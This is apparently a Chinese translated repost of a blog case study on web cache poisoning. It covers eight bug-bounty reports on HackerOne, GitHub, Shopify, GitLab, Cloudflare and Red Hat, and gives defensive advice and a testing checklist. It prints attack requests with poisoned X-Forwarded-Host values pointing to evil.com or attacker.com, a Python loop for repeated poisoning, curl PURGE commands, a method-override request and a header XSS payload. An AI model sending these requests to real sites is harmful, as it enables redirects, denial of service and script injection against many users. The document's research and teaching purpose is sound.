文章总结： 本文深入分析了缓存投毒漏洞的原理和多个真实案例，展示了攻击者如何通过操纵HTTP头部污染缓存，影响多个用户。文章详细介绍了8个经典案例的技术细节，包括HackerOne、GitHub、Shopify等平台的漏洞，总奖金超过10万美元。文章提供了具体的测试清单和防御建议，如验证入站头部、规范化头部处理、避免跨租户共享缓存池等，对Web安全从业者具有重要参考价值。
综合评分： 91
文章分类： 漏洞分析,WEB安全,渗透测试,安全建设,威胁情报

缓存投毒漏洞：10万美元以上赏金案例研究（第一部分）

herish.me

赛博知识驿站

2025年12月4日 16:00
日本

要点速览

本文是缓存投毒系列的第一部分，深入分析了 HackerOne、GitHub、Shopify 等平台上早期真实缓存投毒漏洞案例，总奖金超过 $100K。

核心技术要点

缓存投毒原理：攻击者通过操纵 HTTP 头部，使反向代理、CDN 或服务器缓存恶意响应，进而影响所有后续用户。关键在于利用未包含在缓存键中的请求头来污染缓存内容。

8 个经典案例技术细节：

1. HackerOne (2014) – 首个公开案例，利用 X-Forwarded-Host 头部实现全局重定向
2. GitHub ($4,850) – 通过 Content-Type 头部触发仓库 DoS，配合 PURGE 方法放大攻击
3. Shopify ($6,300) – 多主机缓存投毒，需循环发送请求强制缓存覆写
4. 私有项目 ($3,000) – 将反射型 XSS 转化为存储型 XSS，影响 21 个子域名
5. GitLab – 利用 GCP 存储的 X-HTTP-Method-Override 头部，将 GET 覆写为 HEAD，返回空响应
6. HackerOne ($2,500) – Rails X-Forwarded-Scheme 头部导致静态文件无限重定向循环
7. Cloudflare – 大小写混淆 Host 头部（如 TaRgEt.CoM），CDN 层面漏洞影响数百万站点
8. Red Hat – Open Graph 元标签注入，通过社交媒体分享放大 XSS 影响

关键攻击技术

# Shopify 循环投毒示例
import&nbsp;requests
import&nbsp;time

target =&nbsp;"https://shop.shopify.com/endpoint"
poison_header = {"X-Forwarded-Host":&nbsp;"attacker.com"}

for&nbsp;i&nbsp;in&nbsp;range(100):
&nbsp; &nbsp; requests.get(target, headers=poison_header)
&nbsp; &nbsp; time.sleep(0.1)

# GitLab GCP 方法覆写攻击
GET&nbsp;/static/app.js&nbsp;HTTP/1.1
Host:&nbsp;gitlab.com
X-HTTP-Method-Override:&nbsp;HEAD

防御建议

应用层：验证所有入站头部，将相关输入纳入缓存键
CDN 层：规范化头部处理，阻止危险头部（X-Forwarded-*、X-HTTP-Method-Override）
架构层：避免跨租户共享缓存池，禁用方法覆写功能

测试清单

• 测试 X-Forwarded-* 系列头部
• 区分认证/未认证用户缓存行为
• 检查 PURGE、HEAD、OPTIONS 等危险方法
• 尝试大小写混淆 Host 头部
• 测试 Open Graph 元标签注入
• 验证静态资源（JS/CSS）缓存逻辑

历史意义：这些早期案例展示了简单配置错误如何导致严重后果，为后续高级攻击技术（Part 2/3）奠定基础。缓存投毒已从小众漏洞演变为高影响力攻击向量。

缓存投毒漏洞：10万美元以上赏金案例研究（第一部分）

引言

缓存投毒已成为现代Web安全中最强大且最具价值的漏洞类别之一。虽然它曾经看似小众，但缓存投毒已演变为影响CDN、云平台、服务器框架和多租户SaaS提供商的高影响力攻击向量。

本系列三部分中的第一部分涵盖基础攻击 – 首批记录在案的真实缓存投毒事件，为后续更复杂的技术铺平了道路。这些早期报告不仅展示了简单的配置错误如何导致毁灭性后果，还展示了攻击者如何学会利用请求头、请求行为和缓存键不一致来突破拥有数百万用户的平台。

这些案例研究为第二部分和第三部分中涵盖的高级利用技术奠定了基础。

展示HTTP头操纵导致缓存投毒的高层示意图

理解Web缓存投毒

在深入每个案例之前，有必要重温什么是缓存投毒：

Web缓存投毒发生在攻击者操纵反向代理、CDN或服务器端缓存，使其存储恶意响应，然后将该响应提供给其他用户时。

初学者解析：为什么需要缓存

缓存通过存储常见请求的响应来加速性能，例如：

• 静态文件(JS、CSS、图片)
• API响应
• HTML页面

如果缓存返回错误内容 – 恶意或无效内容 – 所有用户都会受到影响，直到缓存过期。

为什么缓存投毒危险

因为它：

• 自动规模化
• 用一个请求影响众多用户
• 通常绕过身份验证
• 可将反射型漏洞转换为存储型漏洞
• 可破坏整个应用程序(DoS)
• 可导致XSS、重定向、内容注入、OAuth令牌泄露等

案例1 – HackerOne早期：首个记录在案的缓存投毒 {#案例1}

项目： HackerOne
赏金： 未公开
年份： 2014
报告ID： #487

此案例具有历史重要性，因为它是主流漏洞赏金平台上最早记录的缓存投毒报告之一。

漏洞详情

HackerOne在未验证的情况下信任了X-Forwarded-Host头。由于该头不是缓存键的一部分，攻击者可以投毒缓存。

攻击请求

GET / HTTP/1.1
Host:&nbsp;hackerone.com
X-Forwarded-Host:&nbsp;evil.com

单个恶意请求后，任何访问hackerone.com的用户都被重定向到evil.com。

为什么有效

• 应用程序盲目信任代理头
• 该头未包含在缓存键中
• 投毒对后续访问者持续有效

提取的技术

• 测试传统头(X-Forwarded-*)
• 移除头后确认投毒持久性
• 始终展示真实影响(重定向链、伪造主机名)

展示X-Forwarded-Host投毒如何重定向流量的示意图

案例2 – GitHub的4,850美元仓库DoS攻击 {#案例2}

项目： GitHub
报告者： Iustin Ladunca
赏金： $4,850
影响： 未认证用户的仓库DoS

漏洞详情

GitHub将Content-Type头作为重定向逻辑的一部分，但对于未认证用户未将其包含在缓存键中。

攻击向量

GET /user/repo HTTP/1.1
Host:&nbsp;github.com
Content-Type:&nbsp;invalid-value-here

已认证用户因基于cookie的缓存键而受到保护，但所有未认证流量共享单个缓存条目。

使用PURGE(放大器)

curl -X GET https://github.com/target/repo \
&nbsp; -H&nbsp;"Content-Type: malicious"

curl -X PURGE https://github.com/target/repo

GitHub错误地允许了PURGE方法，使攻击易于武器化。

提取的技术

• 始终测试已认证与未认证用户的行为差异
• 检查是否支持PURGE等危险方法
• 可缓存的错误响应 = 高价值目标

Content-Type缓存投毒的可视化解释

案例3 – Shopify的6,300美元多主机缓存投毒 {#案例3}

项目： Shopify
报告者： Iustin Ladunca
初始赏金： $1,300
最终赏金： $6,300
报告ID： #977851

此攻击因其跨多个主机的持久性而引人注目。

攻击代码(循环投毒)

import&nbsp;requests
import&nbsp;time

target =&nbsp;"https://shop.shopify.com/endpoint"
poison_header = {"X-Forwarded-Host":&nbsp;"attacker.com"}

for&nbsp;i&nbsp;in&nbsp;range(100):
&nbsp; &nbsp; requests.get(target, headers=poison_header)
&nbsp; &nbsp; time.sleep(0.1)

# 验证持久性
response = requests.get(target)
print("attacker.com"&nbsp;in&nbsp;response.text)

关键学习点

• 某些缓存需要多次命中才能投毒
• 一旦投毒，恶意值即使没有头也持续存在
• 漏洞扩展到多个Shopify属性，增加了赏金

提取的技术

• 测试多主机影响 – 许多公司使用共享缓存层
• 循环投毒请求以强制缓存覆写
• 记录跨本地化主机的影响以获得更大赏金

展示多个域共享一个缓存层的地图

案例4 – 私有项目的3,000美元存储型XSS链 {#案例4}

项目： 私有
严重性： 严重
赏金： $3,000

此案例展示了缓存投毒如何将反射型XSS转换为影响众多用户的存储型XSS。

攻击请求

GET /assets/main.js HTTP/1.1
Host:&nbsp;target.com
X-Forwarded-Host:&nbsp;attacker.com

服务器响应了包含投毒主机值的301重定向。
重定向被缓存，所有用户都收到：

• 来自attacker.com的JavaScript
• 在所有子域上执行的恶意载荷

影响

• 恶意软件注入
• 会话劫持
• 账户接管
• 跨21个子域的存储型XSS

提取的技术

• 针对JavaScript文件 – 它们被普遍缓存
• 使用未键入头测试重定向(301/302)响应
• 映射共享JS依赖项以进行多域攻击

反射型XSS通过缓存投毒变为存储型的可视化

案例5 – GitLab通过Google Cloud Storage的缓存投毒 {#案例5}

项目： GitLab
报告者： Iustin Ladunca
报告ID： #1160407

GitLab在GCP存储桶上存储静态文件，这引入了独特的攻击面。

攻击向量

GET /static/app.js HTTP/1.1
Host:&nbsp;gitlab.com
X-HTTP-Method-Override:&nbsp;HEAD

这强制GCP覆盖GET → HEAD，返回：

HTTP/1.1&nbsp;200&nbsp;OK
Content-Length:&nbsp;0
Cache-Control:&nbsp;public, max-age=3600

空响应体被缓存，有效破坏了站点。

为什么有效

• GCP存储支持方法覆盖
• GitLab的缓存缺乏方法感知
• HEAD响应覆写了GET缓存条目

提取的技术

• 方法覆盖头极其危险
• 测试云平台行为(GCP、AWS、Azure)
• 空响应体攻击可以DoS整个应用程序

GCP存储桶 + CDN投毒可视化

案例6 – HackerOne的2,500美元静态文件DoS {#案例6}

项目： HackerOne
赏金： $2,500
注意： DoS通常不在范围内，但因新颖性而获得奖励

漏洞详情

Rails Rack中间件信任X-Forwarded-Scheme。
通过投毒静态文件，攻击者创建了无限重定向循环。

攻击

GET /static/logo.png HTTP/1.1
Host:&nbsp;hackerone.com
X-Forwarded-Scheme:&nbsp;http

服务器返回全局缓存的301重定向，破坏了所有用户的图片。

提取的技术

• 框架特定头(Rails、Django、Laravel)通常引入弱点
• 重定向循环导致高影响DoS
• 即使静态文件也可能是高严重性缓存投毒目标

聚焦Rails中间件和头信任的图形

案例7 – Cloudflare的大写Host头漏洞 {#案例7}

报告者： Iustin Ladunca
赏金范围： 每个受影响项目3,000
范围： 20+个易受攻击项目

此漏洞是CDN级别的，实现了大规模横向利用。

攻击模式

GET / HTTP/1.1
Host:&nbsp;TaRgEt.CoM

Cloudflare在缓存前规范化主机头，但原样转发到源服务器。

为什么具有毁灭性

• 默认Cloudflare配置易受攻击
• 无需特殊设置
• 数百万站点可能受影响
• 一个请求可以投毒无数客户

提取的技术

• 大小写操纵(大写、混合大小写)是强制测试
• CDN级别漏洞横向扩展 – 创建自动化扫描器
• 关注源和CDN处理之间的差异

Host头大小写规范化问题

案例8 – Red Hat的Open Graph存储型XSS {#案例8}

项目： Red Hat
报告者： James Kettle (PortSwigger)

此漏洞突出了元标签投毒及其通过社交媒体的放大。

攻击

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host:&nbsp;www.redhat.com
X-Forwarded-Host:&nbsp;a.\"><script>alert(1)</script>

投毒的头出现在Open Graph元数据中，然后被缓存。

为什么严重

• 社交网络嵌入Open Graph标签
• 缓存的投毒标签对打开共享链接的任何人执行XSS
• 可通过Twitter、Facebook、LinkedIn放大

提取的技术

• 元标签(og:image、og:url等)是高价值注入点
• “no-cache”头仍可能根据CDN规则被缓存
• 测试期间使用缓存破坏器(?dontpoisoneveryone=1)保持安全

社交媒体预览投毒示意图

防御视角

当组织实施强大的分层防御时，缓存投毒是可以预防的。

应用层防御

• 验证所有入站头
• 明确拒绝未识别的头
• 在缓存键中包含所有相关输入

CDN层防御

• 一致地规范化头行为
• 阻止危险头(X-Forwarded-*、X-HTTP-Method-Override)
• 除非必要，防止缓存错误响应

架构层防御

• 避免跨租户共享缓存池
• 使用严格的内容类型验证
• 禁用方法覆盖功能

实际影响总结(第一部分) {#实际影响总结}

第一部分总结思考 {#总结思考}

最早的缓存投毒攻击看似简单 – 使用像X-Forwarded-Host这样的常见头或格式错误的内容类型 – 但其实际后果却很严重。这些基础报告为第二部分和第三部分中研究的更高级、框架特定、多层和供应链攻击奠定了基础。

如果第一部分说明了什么，那就是：

缓存投毒不仅仅是一个漏洞 – 它是一个架构盲点。

参考资料

• PortSwigger研究
• HackerOne报告(公开)
• Shopify、GitLab、GitHub公开披露档案
• CDN供应商文档(Cloudflare、Fastly、Akamai)

原文:https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：赛博知识驿站 herish.me《缓存投毒漏洞：10万美元以上赏金案例研究（第一部分）》

Tags: WEB安全威胁情报安全建设渗透测试漏洞分析

你可能错过

红队必备：用 tstool 悄无声息地接管远程桌面会话

GitLab关键补丁发布修复严重的远程代码执行(RCE)漏洞

独家｜阿根廷举办第一届网络防务大会

“银狐”木马专项——恶意域名及恶意IP（五）

缓存投毒漏洞：10万美元以上赏金案例研究（第一部分）

要点速览

核心技术要点

关键攻击技术

防御建议

测试清单

缓存投毒漏洞：10万美元以上赏金案例研究（第一部分）

引言

理解Web缓存投毒

初学者解析：为什么需要缓存

为什么缓存投毒危险

案例1 – HackerOne早期：首个记录在案的缓存投毒 {#案例1}

漏洞详情

攻击请求

为什么有效

提取的技术

案例2 – GitHub的4,850美元仓库DoS攻击 {#案例2}

漏洞详情

攻击向量

使用PURGE(放大器)

提取的技术

案例3 – Shopify的6,300美元多主机缓存投毒 {#案例3}

攻击代码(循环投毒)

关键学习点

提取的技术

案例4 – 私有项目的3,000美元存储型XSS链 {#案例4}

攻击请求

影响

提取的技术

案例5 – GitLab通过Google Cloud Storage的缓存投毒 {#案例5}

攻击向量

为什么有效

提取的技术

案例6 – HackerOne的2,500美元静态文件DoS {#案例6}

漏洞详情

攻击

提取的技术

案例7 – Cloudflare的大写Host头漏洞 {#案例7}

攻击模式

为什么具有毁灭性

提取的技术

案例8 – Red Hat的Open Graph存储型XSS {#案例8}

攻击

为什么严重

提取的技术

防御视角

应用层防御

CDN层防御

架构层防御

实际影响总结(第一部分) {#实际影响总结}

第一部分总结思考 {#总结思考}

参考资料

你可能错过

红队必备：用 tstool 悄无声息地接管远程桌面会话

GitLab关键补丁发布修复严重的远程代码执行(RCE)漏洞

独家 ｜ 阿根廷举办第一届网络防务大会

“银狐”木马专项——恶意域名及恶意IP（五）

独家｜阿根廷举办第一届网络防务大会